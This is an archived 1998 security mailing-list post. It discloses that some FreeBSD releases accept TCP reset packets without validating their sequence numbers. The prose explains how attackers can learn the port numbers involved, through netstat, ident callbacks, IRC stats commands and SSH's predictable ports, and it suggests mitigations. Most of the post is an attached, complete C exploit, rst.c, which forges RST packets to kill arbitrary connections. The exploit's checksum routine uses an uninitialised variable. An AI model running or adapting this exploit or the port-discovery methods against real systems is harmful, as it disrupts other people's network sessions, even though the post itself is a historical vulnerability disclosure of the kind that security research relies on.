FreeBSD's RST validation

From: Tristan Horn (tristan+-eyixqgat_private)
Date: Sun Aug 30 1998 - 17:21:41 PDT

  • Next message: Scott Stone: "SEYON vulnerability in TurboLinux 2.0"

    --ZRyEpB+iJ+qUx0kp
    Content-Type: multipart/mixed; boundary=qGV0fN9tzfkG3CxV
    
    
    --qGV0fN9tzfkG3CxV
    Content-Type: text/plain; charset=us-ascii
    
    RFC 793, pages 36-39 (chapter 3.5) describes closing connections with
    TCP.  Page 37 is of particular interest:
    
      Reset Processing
    
      In all states except SYN-SENT, all reset (RST) segments are validated
      by checking their SEQ-fields.  A reset is valid if its sequence number
      is in the window.  In the SYN-SENT state (a RST received in response
      to an initial SYN), the RST is acceptable if the ACK field
      acknowledges the SYN.
    
    Unfortunately, FreeBSD (2.2.5, 2.2.6, 2.2.7, 3.0) does not appear to
    validate RST segments to this extent.  In other words, only the packets'
    IP/port pairs are checked.
    
    In my limited testing (oddly enough, not many people would consent to
    DoS), Solaris, OSF/1, Linux and Windows 98 appear to conform to RFC 793
    in this regard.  I have not yet been able to check NetBSD, OpenBSD, BSDI,
    etc.
    
    This problem gets worse when you bring it to multi-user FreeBSD boxes
    where netstat, systat -net, lsof (if improperly configured) and the like
    can be used to get all IP/port pairs in use.  I suggest (especially to
    BEST) that these be chmod g-s or o-x'd until the problem is resolved.
    
    In cases where you only have the port number for one side of the
    connection, exploiting the vulnerability is still fairly trivial.  In
    many (most?) cases, port 0 bind()s will start you off at port 1024 and
    increment by one from there.  Kudos to the OSes that already use random
    or pseudorandom source ports...
    
    If the target is an IRC server or uses TCP wrappers, chances are that
    you can telnet to it and you'll get a connection back to your ident port.
    This will give you the high port.
    
    IRC in particular will probably be affected, due to the ease of getting
    addresses and such.  /stats L even used to give you the port numbers
    for users, servers and listening sockets, but I believe this was fixed
    in /hybrid a while back, and then +CS.  /stats c should just be disabled
    for non-opers since it lets people find the port # for autoconnects.
    
    SSH and similar secure sessions are in great danger because ports are
    manually bound to, starting at 1023 and decrementing from there.
    
    BSD exploit code is attached (thanks to those who made land and ported
    it!).  Note that 'dstaddr' is where the RST packet is actually sent, so
    it must be the address of a buggy machine.
    
    This (like /many/ other attacks) would be much less of a concern if more
    people did ingress filtering.
    
    TS4 rocks!
    
    Tris
    
    --qGV0fN9tzfkG3CxV
    Content-Type: text/plain; charset=us-ascii
    Content-Disposition: attachment; filename="rst.c"
    
    /* rst.c -- based on:
         land.c by m3lt, FLC
         crashes a win95 box
         Ported by blast and jerm to 44BSD*/
    
    #include <signal.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <netinet/ip_icmp.h>
    #include <ctype.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <string.h>
    #include <errno.h>
    
    
    /* #include <netinet/ip_tcp.h> */
    /* #include <netinet/protocols.h> */
    
    struct pseudohdr
    {
            struct in_addr saddr;
            struct in_addr daddr;
            u_char zero;
            u_char protocol;
            u_short length;
            struct tcphdr tcpheader;
    };
    
    u_short checksum(u_short * data,u_short length)
    {
            register long value;
            u_short i;
    
            for(i=0;i<(length>>1);i++)
                    value+=data[i];
    
            if((length&1)==1)
                    value+=(data[i]<<8);
    
            value=(value&65535)+(value>>16);
    
            return(~value);
    }
    
    int main(int argc,char * * argv)
    {
            struct sockaddr_in src, dst;
            struct hostent * hoste;
            int sock,foo;
            char buffer[40];
            struct ip * ipheader=(struct ip *) buffer;
            struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
            struct pseudohdr pseudoheader;
    
            fprintf(stderr,"rst.c (based on BSD port of land by m3lt & blast of FLC)\n");
    
            if(argc<5)
            {
                    fprintf(stderr,"usage: %s srcaddr srcport dstaddr dstport\n",argv[0]);
                    return(-1);
            }
    
            bzero(&src,sizeof(struct sockaddr_in));
            bzero(&dst,sizeof(struct sockaddr_in));
            src.sin_family=AF_INET;
            dst.sin_family=AF_INET;
    
            if((hoste=gethostbyname(argv[1]))!=NULL)
                    bcopy(hoste->h_addr,&src.sin_addr,hoste->h_length);
            else if((src.sin_addr.s_addr=inet_addr(argv[1]))==-1)
            {
                    fprintf(stderr,"unknown host %s\n",argv[1]);
                    return(-1);
            }
    
            if((src.sin_port=htons(atoi(argv[2])))==0)
            {
                    fprintf(stderr,"unknown port %s\n",argv[2]);
                    return(-1);
            }
    
            if((hoste=gethostbyname(argv[3]))!=NULL)
                    bcopy(hoste->h_addr,&dst.sin_addr,hoste->h_length);
            else if((dst.sin_addr.s_addr=inet_addr(argv[3]))==-1)
            {
                    fprintf(stderr,"unknown host %s\n",argv[3]);
                    return(-1);
            }
    
            if((dst.sin_port=htons(atoi(argv[4])))==0)
            {
                    fprintf(stderr,"unknown port %s\n",argv[4]);
                    return(-1);
            }
    
            if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
            {
                    fprintf(stderr,"couldn't allocate raw socket\n");
                    return(-1);
            }
    
            foo=1;
            if(setsockopt(sock,0,IP_HDRINCL,&foo,sizeof(int))==-1)
            {
                    fprintf(stderr,"couldn't set raw header on socket\n");
                    return(-1);
            }
    
            bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
            ipheader->ip_v=4;
            ipheader->ip_hl=sizeof(struct ip)/4;
            ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
            ipheader->ip_id=htons(0xF1C);
            ipheader->ip_ttl=255;
            ipheader->ip_p=IPPROTO_TCP;
            ipheader->ip_src=src.sin_addr;
            ipheader->ip_dst=dst.sin_addr;
    
            tcpheader->th_sport=src.sin_port;
            tcpheader->th_dport=dst.sin_port;
            tcpheader->th_seq=htonl(0xF1C);
            tcpheader->th_flags=TH_RST;
            tcpheader->th_off=sizeof(struct tcphdr)/4;
            tcpheader->th_win=htons(2048);
    
            bzero(&pseudoheader,12+sizeof(struct tcphdr));
            pseudoheader.saddr=src.sin_addr;
            pseudoheader.daddr=dst.sin_addr;
            pseudoheader.protocol=6;
            pseudoheader.length=htons(sizeof(struct tcphdr));
            bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
            tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
    
            if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &dst,sizeof(struct sockaddr_in))==-1)
            {
                    fprintf(stderr,"couldn't send packet,%d\n",errno);
                    return(-1);
            }
    
            fprintf(stderr,"%s:%s -> %s:%s reset\n",argv[1],argv[2],argv[3],argv[4]);
    
            close(sock);
            return(0);
    }
    
    --qGV0fN9tzfkG3CxV--
    
    --ZRyEpB+iJ+qUx0kp
    Content-Type: application/pgp-signature
    
    -----BEGIN PGP SIGNATURE-----
    Version: PGP for Personal Privacy 5.0
    MessageID: ZLVZYONH0cJKtNYnqRZ1+/WhbS1ONqPP
    
    iQA/AwUBNenslZ+W2A/YGO/2EQI2tACfdG/9Vm5lxFiQc5yC88/qoM5+2doAnibt
    LafqKvwK7rB+Xw7H2QlXWsJn
    =Mll3
    -----END PGP SIGNATURE-----
    
    --ZRyEpB+iJ+qUx0kp--
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:14:07 PDT